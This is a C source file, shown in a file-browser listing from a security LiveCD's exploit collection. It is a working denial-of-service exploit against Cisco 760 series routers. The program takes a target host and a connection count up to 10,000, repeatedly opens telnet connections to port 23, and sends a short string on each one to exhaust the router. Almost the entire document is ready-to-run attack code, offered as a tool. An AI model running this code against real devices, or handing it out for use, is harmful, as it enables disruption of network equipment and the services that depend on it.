home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / cisco.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  234 lines
  1. /* Cisco 760 Series Connection Overflow
  2.  *
  3.  *
  4.  * Written by: Tiz.Telesup
  5.  * Affected Systems: Routers Cisco 760 Series, I havn't tested anymore
  6.  * Tested on: FreeBSD 4.0 and Linux RedHat 6.0
  7.  */
  8.  
  9.  
  10. #include <sys/types.h>
  11. #include <sys/ioctl.h>
  12. #include <sys/socket.h>
  13. #include <sys/time.h>
  14. #include <arpa/inet.h>
  15. #include <netdb.h>
  16. #include <net/if.h>
  17. #include <netinet/in.h>
  18. #include <errno.h>
  19. #include <fcntl.h>
  20. #include <stdarg.h>
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <string.h>
  24. #include <unistd.h>
  25.  
  26.  
  27. int     net_connect (struct sockaddr_in *cs, char *server,
  28.         unsigned short int port, char *sourceip,
  29.         unsigned short int sourceport, int sec);
  30.  
  31.  
  32. void    net_write (int fd, const char *str, ...);
  33.  
  34.  
  35. unsigned long int       net_resolve (char *host);
  36.  
  37.  
  38.  
  39.         
  40. void
  41. usage (void)
  42. {
  43.         printf ("usage: ./cisco host times\n");
  44.         exit (EXIT_FAILURE);
  45. }
  46.  
  47.  
  48. int
  49. main (int argc, char *argv[])
  50. {
  51.  
  52.  
  53.         char                    host[256];
  54.         int                     port,times,count,sd = 0;
  55.         int                     m = 0;
  56.         struct sockaddr_in      cs;
  57.  
  58.  
  59.         printf ("Cisco 760 series Connection Overflow.\n");
  60.         printf ("-------------------------------------\n");
  61.         
  62.         if (argc < 3)
  63.         usage();
  64.         
  65.         strcpy (host, argv[1]);
  66.         times=atoi (argv[2]);
  67.         
  68.         if ((times < 1) || (times > 10000)) /*Maximum number of connections*/
  69.                 usage();
  70.  
  71.  
  72.  
  73.         port =23; /* This might be changed to the telnet port of the router*/
  74.         
  75.  
  76.  
  77.         printf ("Host: %s Times: %d\n", host, times);
  78.         for (count=0;count<times;count++){
  79.                 printf ("Connecting... Connection number %d \n",count);
  80.                 fflush (stdout);
  81.                 sd = net_connect (&cs, host, port, NULL, 0, 30);
  82.  
  83.  
  84.                 if (sd < 1) {
  85.                         printf ("failed!\n");
  86.                         exit (EXIT_FAILURE);
  87.                         }
  88.  
  89.  
  90.         
  91.                 net_write (sd, "AAAA\n\n");
  92.  
  93.  
  94.         }
  95.  
  96.  
  97.         exit (EXIT_SUCCESS);
  98. }
  99.  
  100.  
  101. int
  102. net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
  103.                 unsigned short int sourceport, int sec)
  104. {
  105.         int             n, len, error, flags;
  106.         int             fd;
  107.         struct timeval  tv;
  108.         fd_set          rset, wset;
  109.  
  110.  
  111.         /* first allocate a socket */
  112.         cs->sin_family = AF_INET;
  113.         cs->sin_port = htons (port);
  114.  
  115.  
  116.         fd = socket (cs->sin_family, SOCK_STREAM, 0);
  117.         if (fd == -1)
  118.                 return (-1);
  119.  
  120.  
  121.         if (!(cs->sin_addr.s_addr = net_resolve (server))) {
  122.                 close (fd);
  123.                 return (-1);
  124.         }
  125.  
  126.  
  127.         flags = fcntl (fd, F_GETFL, 0);
  128.         if (flags == -1) {
  129.                 close (fd);
  130.                 return (-1);
  131.         }
  132.         n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
  133.         if (n == -1) {
  134.                 close (fd);
  135.                 return (-1);
  136.         }
  137.  
  138.  
  139.         error = 0;
  140.  
  141.  
  142.         n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
  143.         if (n < 0) {
  144.                 if (errno != EINPROGRESS) {
  145.                         close (fd);
  146.                         return (-1);
  147.                 }
  148.         }
  149.         if (n == 0)
  150.                 goto done;
  151.  
  152.  
  153.         FD_ZERO(&rset);
  154.         FD_ZERO(&wset);
  155.         FD_SET(fd, &rset);
  156.         FD_SET(fd, &wset);
  157.         tv.tv_sec = sec;
  158.         tv.tv_usec = 0;
  159.  
  160.  
  161.         n = select(fd + 1, &rset, &wset, NULL, &tv);
  162.         if (n == 0) {
  163.                 close(fd);
  164.                 errno = ETIMEDOUT;
  165.                 return (-1);
  166.         }
  167.         if (n == -1)
  168.                 return (-1);
  169.  
  170.  
  171.         if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
  172.                 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
  173.                         len = sizeof(error);
  174.                         if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
  175.                                 errno = ETIMEDOUT;
  176.                                 return (-1);
  177.                         }
  178.                         if (error == 0) {
  179.                                 goto done;
  180.                         } else {
  181.                                 errno = error;
  182.                                 return (-1);
  183.                         }
  184.                 }
  185.         } else
  186.                 return (-1);
  187.  
  188.  
  189. done:
  190.         n = fcntl(fd, F_SETFL, flags);
  191.         if (n == -1)
  192.                 return (-1);
  193.         return (fd);
  194. }
  195.  
  196.  
  197. unsigned long int
  198. net_resolve (char *host)
  199. {
  200.         long            i;
  201.         struct hostent  *he;
  202.  
  203.  
  204.         i = inet_addr(host);
  205.         if (i == -1) {
  206.                 he = gethostbyname(host);
  207.                 if (he == NULL) {
  208.                         return (0);
  209.                 } else {
  210.                         return (*(unsigned long *) he->h_addr);
  211.                 }
  212.         }
  213.         return (i);
  214. }
  215.  
  216.  
  217. void
  218. net_write (int fd, const char *str, ...)
  219. {
  220.         char    tmp[8192];
  221.         va_list vl;
  222.         int     i;
  223.  
  224.  
  225.         va_start(vl, str);
  226.         memset(tmp, 0, sizeof(tmp));
  227.         i = vsnprintf(tmp, sizeof(tmp), str, vl);
  228.         va_end(vl);
  229.  
  230.  
  231.         send(fd, tmp, i, 0);
  232.         return;
  233. }
  234.